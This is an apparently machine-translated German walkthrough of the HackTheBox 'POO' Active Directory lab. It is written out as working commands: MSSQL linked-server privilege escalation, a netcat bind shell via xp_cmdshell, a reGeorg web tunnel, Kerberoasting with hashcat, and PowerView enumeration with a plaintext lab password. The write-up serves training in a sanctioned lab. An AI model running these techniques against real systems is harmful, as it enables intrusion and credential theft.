In diesem Artikel analysieren wir nicht nur den Durchgang eines Autos, sondern eines ganzen Minilabors von der HackTheBox- Site .Wie in der Beschreibung angegeben, dient POO zum Testen von Fähigkeiten in allen Phasen von Angriffen in einer kleinen Active Directory-Umgebung. Ziel ist es, einen verfügbaren Host zu gefährden, die Berechtigungen zu erhöhen und letztendlich die gesamte Domäne zu gefährden, während 5 Flags gesammelt werden.Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen landen, die sich mit Informationssicherheit auskennen :)Organisationsinformationen, ,
Telegram . , ,
.
. , - , .
Intro
Dieses Endspiel besteht aus zwei Maschinen und enthält 5 Flags.
Die Beschreibung und Adresse des verfügbaren Hosts wird ebenfalls angegeben.
Lass uns anfangen!Aufklärungsflagge
Dieser Computer hat eine IP-Adresse von 10.13.38.11, die ich zu / etc / hosts hinzufüge.10.13.38.11 poo.htb
Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.nmap -A poo.htb -p80,1433
Wir haben also IIS und MSSQL. In diesem Fall ermitteln wir den tatsächlichen DNS-Namen der Domäne und des Computers. Auf dem Webserver werden wir von der IIS-Homepage begrüßt.
Lassen Sie uns die Verzeichnisse durchgehen. Ich benutze dafür Gobuster. In den Parametern geben wir die Anzahl der Streams 128 (-t), URL (-u), Wörterbuch (-w) und Erweiterungen an, die uns interessieren (-x).gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Daher verfügen wir über eine HTTP-Authentifizierung für das Verzeichnis / admin sowie eine verfügbare Desktop-Service-Repository-Datei .DS_Store. .DS_Store - Dies sind Dateien, in denen Benutzereinstellungen für den Ordner gespeichert sind, z. B. eine Liste von Dateien, die Position der Symbole und das ausgewählte Hintergrundbild. Eine solche Datei kann in das Webserververzeichnis von Webentwicklern fallen. So erhalten wir Informationen über den Inhalt des Verzeichnisses. Sie können hierfür den DS_Store-Crawler verwenden .python3 dsstore_crawler.py -i http://poo.htb/
Wir bekommen den Inhalt des Verzeichnisses. Das Interessanteste hier ist das Verzeichnis / dev, aus dem wir die Quell- und Datenbankdateien in zwei Zweigen sehen können. Wir können jedoch zuerst 6 Zeichen des Namens von Dateien und Verzeichnissen eingeben, wenn der Dienst für IIS ShortName anfällig ist. Verwenden Sie den IIS-Kurznamenscanner, um nach dieser Sicherheitsanfälligkeit zu suchen .
Und wir gehen zu einer Textdatei, die mit "poo_co" beginnt. Da ich nicht wusste, was ich als nächstes tun sollte, wählte ich einfach alle Wörter, die mit „co“ beginnen, aus dem Verzeichniswörterbuch aus.cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Und iteriere durch wfuzz.wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Und wir finden das richtige Wort! Wir schauen uns diese Datei an und speichern die Anmeldeinformationen (nach dem DBNAME-Parameter sind sie von MSSQL).
Wir übergeben die Flagge und bewegen uns um 20% vorwärts.
Huh Flagge
Wir sind mit MSSQL verbunden, ich benutze DBeaver.
Wir finden in dieser Datenbank nichts Interessantes. Erstellen wir einen SQL-Editor und überprüfen Sie, welche Benutzer es sind.SELECT name FROM master..syslogins;
Wir haben zwei Benutzer. Lassen Sie uns unsere Privilegien überprüfen.SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Somit gibt es keine Privilegien. Sehen wir uns die zugehörigen Server an, über diese Technik, die ich hier ausführlich geschrieben habe .SELECT * FROM master..sysservers;
Also finden wir einen anderen SQL Server. Lassen Sie uns die Ausführung von Befehlen auf diesem Server mit openquery () überprüfen.SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');
Und wir können sogar einen Abfragebaum erstellen.SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');
Tatsache ist, dass wenn wir eine Anfrage an einen Verbindungsserver ausführen, die Anfrage im Kontext eines anderen Benutzers ausgeführt wird! Mal sehen, in welchem Kontext wir an einem Verbindungsserver arbeiten.SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');
Nun wollen wir sehen, in welchem Kontext die Anfrage vom Verbindungsserver an unseren ausgeführt wird!SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');
Dies ist also ein DBO-Kontext, der alle Berechtigungen haben sollte. Lassen Sie uns die Berechtigungen für den Fall einer Anfrage von einem Verbindungsserver überprüfen.SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Wie Sie sehen können, haben wir alle Privilegien! Lassen Sie uns unseren Administrator auf diese Weise erstellen. Aber sie lassen es nicht durch offene Abfragen, sondern durch EXECUTE AT.EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
Und jetzt, da wir mit den Anmeldeinformationen des neuen Benutzers verbunden sind, beobachten wir die neue Flag-Datenbank.
Wir übergeben diese Flagge und gehen weiter.
Backtrack-Flagge
Wir werden die Shell mit MSSQL bekommen, ich benutze mssqlclient aus dem Impacket-Paket.mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC
Wir müssen Passwörter bekommen, und das erste, was wir bereits getroffen haben, ist die Website. Daher benötigen wir eine Webserverkonfiguration (es ist unmöglich, eine praktische Shell zu werfen, anscheinend funktioniert die Firewall).
Der Zugriff wird jedoch verweigert. Obwohl wir die Datei aus MSSQL lesen können, müssen Sie nur wissen, welche Programmiersprachen konfiguriert sind. Und im MSSQL-Verzeichnis finden wir heraus, was Python ist.
Dann lesen Sie die Datei web.config, es gibt kein Problem.EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"
Gehen Sie mit den gefundenen Anmeldeinformationen zu / admin und holen Sie sich das Flag.

Glatte Flagge
Tatsächlich gibt es einige Unannehmlichkeiten bei der Verwendung einer Firewall, aber bei Betrachtung der Netzwerkeinstellungen stellen wir fest, dass auch IPv6-Pannen verwendet werden!
Fügen Sie diese Adresse zu / etc / hosts hinzu.dead:babe::1001 poo6.htb
Lassen Sie uns den Host erneut scannen, aber IPv6 verwenden.
Über IPv6 ist der WinRM-Dienst verfügbar. Stellen Sie eine Verbindung mit den gefundenen Anmeldeinformationen her.
Auf dem Desktop befindet sich eine Flagge, die wir übergeben.
P00ned Flagge
Nach der Aufklärung des Gastgebers mit Winpeas finden wir nichts Besonderes. Dann wurde beschlossen, erneut nach Anmeldeinformationen zu suchen (ich habe auch einen Artikel zu diesem Thema geschrieben ). Es gelang mir jedoch nicht, alle SPNs über WinRM vom System abzurufen.setspn.exe -T intranet.poo -Q */*
Lassen Sie uns den Befehl über MSSQL ausführen.
Auf diese Weise erhalten wir die SPNs der Benutzer p00_hr und p00_adm, was bedeutet, dass sie für einen Angriff wie Kerberoasting anfällig sind. Kurz gesagt, wir können Hashes ihrer Passwörter erhalten.Zuerst müssen Sie im Namen des MSSQL-Benutzers eine stabile Shell erhalten. Da wir jedoch nur eingeschränkten Zugriff haben, haben wir nur über Port 80 und 1433 Zugriff auf den Host. Es ist jedoch möglich, den Verkehr durch Port 80 zu tunneln! Dazu verwenden wir die folgende Anwendung . Laden Sie die Datei tunnel.aspx in das Ausgangsverzeichnis des Webservers herunter - C: \ inetpub \ wwwroot \.
Wenn wir jedoch versuchen, darauf zuzugreifen, wird der Fehler 404 angezeigt. Dies bedeutet, dass * .aspx-Dateien nicht ausgeführt werden. Installieren Sie ASP.NET 4.5 wie folgt, damit die Dateien mit diesen Erweiterungen ausgeführt werden können.dism /online /enable-feature /all /featurename:IIS-ASPNET45

Und jetzt, wenn wir auf tunnel.aspx zugreifen, erhalten wir die Antwort, dass alles betriebsbereit ist.
Starten wir den Client-Teil der Anwendung, der sich mit der Weiterleitung von Datenverkehr befasst. Wir werden den gesamten Datenverkehr von Port 5432 zum Server umleiten.python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Und wir verwenden Proxy-Ketten, um Datenverkehr über unseren Proxy an jede Anwendung zu senden. Fügen Sie diesen Proxy zur Konfigurationsdatei /etc/proxychains.conf hinzu.
Jetzt laden wir das Netcat- Programm auf den Server hoch , mit dessen Hilfe wir eine stabile Bindungsshell erstellen , und das Invoke-Kerberoast-Skript , mit dem wir den Kerberoasting-Angriff ausführen.
Jetzt starten wir über MSSQL den Listener.xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321
Und verbinden Sie sich über unseren Proxy.proxychains rlwrap nc poo.htb 4321
Und lass uns die Hashes holen.. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Als nächstes müssen Sie diese Hashes sortieren. Da das rockyou-Wörterbuch keine Passwortdaten enthielt, habe ich ALLE von Seclists bereitgestellten Passwortwörterbücher verwendet. Für die Suche verwenden wir Hashcat.hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Und wir finden beide Passwörter, das erste im Wörterbuch dutch_passwordlist.txt und das zweite in Keyboard-Combinations.txt.
Und so haben wir drei Benutzer, gehen Sie zum Domänencontroller. Zuerst finden wir seine Adresse heraus.
Ok, wir haben die IP-Adresse des Domänencontrollers herausgefunden. Lassen Sie uns alle Benutzer der Domain sowie den Administrator herausfinden. So laden Sie das Skript herunter, um Informationen zu PowerView.ps1 zu erhalten. Stellen Sie dann eine Verbindung mit evil-winrm her, indem Sie das Verzeichnis mit dem Skript im Parameter -s angeben. Laden Sie dann einfach das PowerView-Skript.
Jetzt stehen uns alle Funktionen zur Verfügung. Der Benutzer p00_adm sieht aus wie ein privilegierter Benutzer, daher werden wir in seinem Kontext arbeiten. Erstellen Sie ein PSCredential-Objekt für diesen Benutzer.$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Jetzt werden alle Powershell-Befehle, in denen wir Creds angeben, im Auftrag von p00_adm ausgeführt. Lassen Sie uns die Benutzer und das AdminCount-Attribut auflisten.Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Und so ist unser Benutzer wirklich privilegiert. Werfen wir einen Blick auf die Gruppen, aus denen es besteht.Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Wir bestätigen, dass der Benutzer ein Domain-Administrator ist. Dies gibt ihm das Recht, sich remote beim Domänencontroller anzumelden. Versuchen wir, über unseren Tunnel über WinRM einzutreten. Ich war verwirrt über die Fehler, die reGeorg bei der Verwendung von evil-winrm verursacht hat.
Dann verwenden wir ein anderes, einfacheres Skript , um eine Verbindung zu WinRM herzustellen. Öffnen und ändern Sie die Parameter für die Verbindung.
Wir versuchen uns zu verbinden und sind im System.
Aber es gibt keine Flagge. Schauen Sie sich dann den Benutzer an und überprüfen Sie die Desktops.
Bei mr3ks finden wir die Flagge und das Labor ist zu 100% bestanden.
Das ist alles. Kommentieren Sie als Feedback, ob Sie aus diesem Artikel etwas Neues gelernt haben und ob es für Sie nützlich war.Sie können sich uns per Telegramm anschließen. Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.